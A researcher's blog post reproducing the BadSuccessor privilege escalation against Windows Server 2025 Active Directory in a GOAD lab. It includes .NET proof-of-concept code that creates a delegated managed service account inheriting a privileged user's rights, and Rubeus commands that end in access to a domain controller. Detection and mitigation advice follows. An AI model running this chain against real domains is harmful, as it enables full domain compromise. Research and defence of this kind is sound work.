After Akamai’s publication of BadSuccessor, I set out to research and reproduce the exploit. In this post I cover: an overview of the vulnerability as disclosed by Akamai researcher Yuval Gordon; how I stood up a Windows Server 2025 DC in my existing GOAD domain lab ; my .NET-based proof-of-concept development; the Kerberos ticketing challenges I encountered and how I resolved them; and finally detection and mitigation strategies that defenders can adopt to guard against BadSuccessor.
BadSuccessor Vulnerability Overview
I began by studying Akamai’s write-up, which attributes discovery to Yuval Gordon on May 21, 2025. BadSuccessor abuses the new delegated Managed Service Account (dMSA) feature in Windows Server 2025 to escalate privileges without ever touching the target account’s groups or credentials.
By setting the two attributesmsDS-ManagedAccountPrecededByLink
and msDS-DelegatedMSAState=2
on any dMSA object whether existing or newly created, an attacker can convince the KDC to issue Kerberos tickets carrying the SIDs of a high-privilege user, effectively “succeeding” them. This is effectively a zero to hero attack path, so long as the attacker either has compromised a dMSA already or has appropriate privileges such as CreateChild
on an OU in the domain.
Akamai’s telemetry showed that in 91 percent of real-world domains, non-admin users already have the necessary CreateChild
or write rights on at least one OU—making this attack path trivial to execute in most cases. Microsoft has classified BadSuccessor as “moderate” severity and plans a future patch, but no fix is available yet, so organizations must rely on compensating controls until a patch is released.
Lab Environment Setup
To validate BadSuccessor, I added a Windows Server 2025 domain controller into my existing AD domain (forest functional level ≥ 2016). For context - I am simply running the well-known GOAD AD template and manually adding the Windows Server 2025 machine to the domain and promoting it to a DC. This would look like this (see essos.local domain now has an extra host):

After booting and installing the Windows Server 2025 machine, we have to make sure the AD schema is replicated across all DCs in the essos.local domain or we'll run into issues where AD objects will be missing relevant attributes that we need to exploit BadSuccessor.
Schema & Domain Prep
- Mounted the Windows Server 2025 ISO on an existing schema master. In our case the schema master is meereen.essos.local as it was the only DC in that domain.
- Ran the following to prepare the domain for the schema changes.
D:\support\adprep.exe /forestprep
D:\support\adprep.exe /domainprep
Install AD DS Role on Windows Server 2025
Install-WindowsFeature AD-Domain-Services
Promote to DC
Run the following command ensuring the correct domain name and pass domain admin credentials. In GOAD - both Administrator or daenerys.targaryen for the essos.local domain are fine.
Install-ADDSDomainController `
-DomainName 'essos.local' `
-InstallDns `
-Credential (Get-Credential) `
-SafeModeAdministratorPassword (Read-Host -AsSecureString)
Verify Replication
Check if replication occurred.
repadmin /replsummary
If it did not, we can force it with:
repadmin /syncall /e /d /A /P
repadmin /showrepl *
Finally, inspect /showrepl *
for other errors and if it's all good - you've finished setting up your Windows Server 2025 DC.
Developing a Proof-of-Concept in .NET
I initially thought about whether it made more sense to make the PoC as a BOF or as a .NET executable. It was decided pretty quickly that .NET made more sense as it was going to be a lot quicker to get something functional finished which I could then use in red team engagements. .NET has some useful packages that we can leverage to make the PoC quite easily.
using System.DirectoryServices.ActiveDirectory;
using System.Security.Principal;
using System.Security.AccessControl;
Having read the Akamai research on BadSuccessor, I made a list of tasks that the PoC should accomplish.
- Enumerate writable Organizational Units - Scan Active Directory to find OUs where the current user has write permissions.
- Create Delegated Managed Service Accounts (dMSA) - Establish a new delegated managed service account in the targeted OU
- Link dMSA to existing privileged account - Associate the new dMSA with an existing service account to inherit its privileges through the
msDS-ManagedAccountPrecededByLink
attribute - Configure account permissions and encryption - Set up the dMSA with appropriate user account controls, supported encryption types, and managed password intervals
- Establish retrieval permissions - Configure which machine or user account can retrieve the managed password through security descriptors
- Provide exploitation guidance - Outputs instructions for using tools like Rubeus to extract Kerberos tickets and password hashes from the weaponized dMSA. This wasn't absolutely necessary but I don't enjoy reading Rubeus help menu so why not.
The proof of concept can be found on my github so I won't cover every line of code here, but a couple of sections that are worth highlighting are:
- Identifying exploitable OUs:
// Helper function to check our permissions on OUs
static bool IsWritable(string dn, HashSet<SecurityIdentifier> sids)
{
try
{
using var entry = new DirectoryEntry($"LDAP://{dn}", null, null, AuthenticationTypes.Secure);
var rules = entry.ObjectSecurity
.GetAccessRules(true, true, typeof(SecurityIdentifier));
foreach (ActiveDirectoryAccessRule rule in rules)
{
if (rule.AccessControlType != AccessControlType.Allow) continue;
if (!sids.Contains((SecurityIdentifier)rule.IdentityReference)) continue;
var rights = rule.ActiveDirectoryRights;
if ((rights & ActiveDirectoryRights.WriteProperty) != 0 ||
(rights & ActiveDirectoryRights.WriteDacl) != 0 ||
(rights & ActiveDirectoryRights.WriteOwner) != 0 ||
(rights & ActiveDirectoryRights.CreateChild) != 0 ||
(rights & ActiveDirectoryRights.GenericWrite) != 0 ||
(rights & ActiveDirectoryRights.GenericAll) != 0)
{
return true;
}
}
}
catch { /* skip inaccessible OUs */ }
return false;
}
// [...]
foreach (var ou in organizationalUnits)
{
if (IsWritable(ou, principalSids))
Console.WriteLine(" -> " + ou);
}
2. Setting up the dMSA attributes
// PHASE 1: Create dMSA object
Console.WriteLine("[*] Phase 1: Creating dMSA object...");
var acct = ouEntry.Children.Add($"CN={name}", "msDS-DelegatedManagedServiceAccount");
acct.Properties["msDS-DelegatedMSAState"].Value = 0;
acct.Properties["msDS-ManagedPasswordInterval"].Value = 30;
acct.Properties["dNSHostName"].Add(dnshostname + "." + currentDomain);
acct.Properties["sAMAccountName"].Add(name + "$");
// acct.CommitChanges();
Console.WriteLine($"[+] Commit successful: dMSA {name} Created.");
// PHASE 2: Apply dMSA attributes
Console.WriteLine("[*] Phase 2: Inheriting target user privileges");
acct.Properties["msDS-ManagedAccountPrecededByLink"].Add(precededByDn);
Console.WriteLine($" -> msDS-ManagedAccountPrecededByLink = {precededByDn}");
acct.Properties["msDS-DelegatedMSAState"].Value = 2;
Console.WriteLine(" -> msDS-DelegatedMSAState = 2");
//acct.CommitChanges();
Console.WriteLine("[+] Privileges Obtained.");
// PHASE 3: Add machine or user account to PrincipalsAllowedToRetrieveManagedPassword property
Console.WriteLine("[*] Phase 3: Setting PrincipalsAllowedToRetrieveManagedPassword");
try
{
SecurityIdentifier targetSid;
string targetAccountName;
string searchFilter;
if (!string.IsNullOrWhiteSpace(machine))
{
// Machine account mode
targetAccountName = machine;
searchFilter = $"(&(objectCategory=computer)(sAMAccountName={machine}))";
}
else
{
// User account mode
targetAccountName = user;
searchFilter = $"(&(objectCategory=person)(sAMAccountName={user}))";
}
// Search for the target account
using var searchSID = new DirectorySearcher(de)
{
Filter = searchFilter,
SearchScope = SearchScope.Subtree
};
searchSID.PropertiesToLoad.Add("objectSid");
var targetResult = searchSID.FindOne();
if (targetResult == null)
throw new InvalidOperationException($"Cannot find account {targetAccountName}");
byte[] sidBytes = (byte[])targetResult.Properties["objectSid"][0];
targetSid = new SecurityIdentifier(sidBytes, 0);
RawSecurityDescriptor rsd = new RawSecurityDescriptor("O:S-1-5-32-544D:(A;;0xf01ff;;;" + targetSid.Value + ")");
Byte[] descriptor = new byte[rsd.BinaryLength];
rsd.GetBinaryForm(descriptor, 0);
acct.Properties["msDS-GroupMSAMembership"].Add(descriptor);
}
catch (Exception ex)
{
Console.WriteLine($"[!] Error setting msDS-GroupMSAMembership: {ex.Message}");
}
Console.WriteLine("[+] Setting userAccountControl attribute");
Console.WriteLine("[+] Setting msDS-SupportedEncryptionTypes attribute");
acct.Properties["userAccountControl"].Value = 0x1000; // WORKSTATION_TRUST_ACCOUNT
acct.Properties["msDS-SupportedEncryptionTypes"].Value = DES_CBC_CRC | DES_CBC_MD5 | AES128_CTS; // 0x1C
acct.CommitChanges();
}
To summarise, as per the Akamai research I scripted LDAP modify requests to:
- Create a new
msDS-DelegatedManagedServiceAccount
object in a target OU. - Set
msDS-ManagedAccountPrecededByLink
to the DN of the high-privilege user. - Set
msDS-DelegatedMSAState
to2
. - Set some additional attributes needed for the dMSA to be fully functional (UAC, EncryptionTypes, dNSHostName,etc).
The next steps to confirm functionality were to:
- Get a TGT for the principal we set as the (bad)successor.
- Use that TGT to request a TGS for the dMSA.
- Use the TGS to request another TGS for the target account specified in the
msDS-ManagedAccountPrecededByLink
attribute.
This complete attack chain can be seen below:
- Find writeable OUs
Running the find
module will enumerate existing OUs to find vulnerable ones.
.\BadSuccessor.exe find

find
command shows OUs we can write toIn this case, I created a vulnerable OU named kreep
and we will be targetting that one.
2. Create the dMSA account in the target OU
Running the escalate
module creates and weaponises the dMSA.
.\BadSuccessor.exe escalate -targetOU "OU=kreep,DC=essos,DC=local" -dmsa badguy_dmsa -targetUser "CN=daenerys.targaryen,CN=Users,DC=essos,DC=local" -dnshostname evilserver -user khal.drogo -dc-ip 192.168.10.15
We can see that the account was created via Active Directory Users & Computers.

If you're on an engagement you most likely won't be using this but rather something like ldapsearch
BOF or similar. That will also show you the account was created successfully with the attributes needed for exploitation.
3. Ticket Wizardry to Authenticate as target user
The original Akamai research suggested that the msDS-GroupMSAMembership
attribute had to be set to a machine account, however reading the Microsoft Docs for the attribute itself as well as the documentation for the -PrincipalsAllowedToRetrieveManagedPassword
argument of the New-ADServiceAccount
cmdlet, I noticed it was quite ambiguous. It did not specify anywhere that the principal had to be a machine account. This led me to do some additional digging, and it turns out you can set this attribute for both users and machines. This discovery was quite useful as it gives operators more flexibility in how they want to exploit this vulnerability.
However, keep in mind that when you set this attribute, you are purposefully introducing a new misconfiguration into the environment. The scope of your configuration matters significantly: setting it for only a specific user versus setting it so any user on a machine can exploit it will have entirely different potential consequences for the attack surface you're creating.
3.1) Retrieve TGT for the principal we set as msDS-GroupMSAMembership
(what user we gave dMSA ownership to). Choose the LUID for the machine account - or the user, whichever one you gave membership rights to using the -machine
or -user
command from BadSuccessor.exe escalate
. In this PoC I gave the rights to the `khal.drogo` user so I dumped his luid.
.\Rubeus.exe triage
.\Rubeus.exe dump /luid:<luid> /service:krbtgt /opsec /nowrap
We want to grab the LUID associated with the machine or the user. In my case, since I set the principal to be the user khal.drogo
I grab his LUID:


3.2) Retrieve a TGS for the krbtgt service as the dMSA account using the TGT that we just dumped which has the ability to retrieve the dMSA key.
.\Rubeus.exe asktgs /targetuser:badguy_dmsa$ /service:krbtgt/essos.local /dmsa /opsec /nowrap /ptt /ticket:<Machine/User TGT>

3.3) Finally, we can request a TGS for the target user context for any SPN using the TGS we just got. One example would be to request SMB access to a domain controller.
.\Rubeus.exe asktgs /user:badguy_dmsa$ /service:cifs/sanjuan.essos.local /opsec /dmsa /nowrap /ptt /ticket:doIGAjCCBm...

This then allows us to navigate to the C$ drive of the targeted domain controller in this case as we injected the ticket into our current session using pass-the-ticket `/ptt`. You could also just save the ticket and use it along with impacket tools or whatever post-ex tooling you want to use that accepts Kerberos auth.

Development Challenges & Ticket Invalidity
While building the PoC, I ran into two main hurdles:
AD Schema propagation delays
I am still not sure what was going on here to be honest, but I did notice that it took a lot of tinkering until the new AD Object attributes from Windows Server 2025 were propagated to the other DC. Although I had prepared the forest and domain for the new schema as explained above, initially the changes were not detected and I could not create new dMSA accounts because the necessary AD object attributes were not recognised by the existing DC in the domain. Eventually forcing the update with repadmin seemed to work after some time.
Invalid Kerberos Tickets
While the initial Akamai research demonstrated that dumping TGTs for the machine account and using that for the TGS requests, I was unable to replicate this initially. After some experimentation, I found that there was a synchronisation problem occurring between the dMSA creation time and the TGS requests. The TGTs dumped for either the Membership user or machine account, seemed to be out of sync, expired or "stale" and could not be used to request TGS for the dMSA. Rubeus was returning the following error:
[X] KRB-ERROR (41) : KRB_AP_ERR_MODIFIED
Eventually, I found a workaround for this which was to purge the Kerberos tickets on the host and force them to re-generate.
klist purge
# Force re-generate
gpudate /force
I used gpudate
here for testing, but anything that requires authenticating to a DC will work. For red team engagements for example - using ldapsearch
with an arbitrary query would do the job. This generated a fresh TGT that could then be used to complete the attack chain successfully.
Detection and Mitigation
Drawing on Akamai’s recommendations, I would propose the following:
- Audit dMSA Creation: Alert on Event ID 5137 for new
msDS-DelegatedManagedServiceAccount
objects—particularly when created by non-standard service accounts - Monitor Attribute Changes: Configure SACLs for modifications to
msDS-ManagedAccountPrecededByLink
andmsDS-DelegatedMSAState
(Event ID 5136) to catch illicit successor links - Monitor dMSA authentication: When a TGT is generated for a dMSA and includes the KERB-DMSA-KEY-PACKAGE structure event 2946 is generated. The gMSA Object field (yes, this is a dMSA but still) will show the DN of the dMSA being authenticated and the Caller SID field will appear as
S-1-5-7
. Unexpected 2946 events should be reviewed. - Tighten OU ACLs: Restrict CreateChild and write permissions on OUs to a small set of trusted administrators - ideally none outside the tier-0 team
Conclusion
BadSuccessor underscores the unintended consequences of convenience features -in this case dMSAs that were designed to mitigate attacks like Kerberoasting but instead opened a new attack vector for domain-wide privilege escalation. Through my .NET PoC and hands-on lab validation, I confirmed that with minimal OU permissions, attackers can request TGTs carrying high-privilege SIDs and thus compromise any user in the domain. Until Microsoft releases an official patch, defenders should audit permissions on OUs and dMSA creations, monitor critical dMSA attributes and dMSA authentication.
For offensive security professionals, keeping track of new Active Directory features such as the dMSA capability introduced in Windows Server 2025 is a smart way to identify serious vulnerabilities before attackers do. To stay ahead, it's clear that it helps to regularly review Microsoft's feature announcements, join early access or preview programs, and include feature tracking in your research process. These steps can reveal new attack surfaces and support progress in both offensive and defensive security work.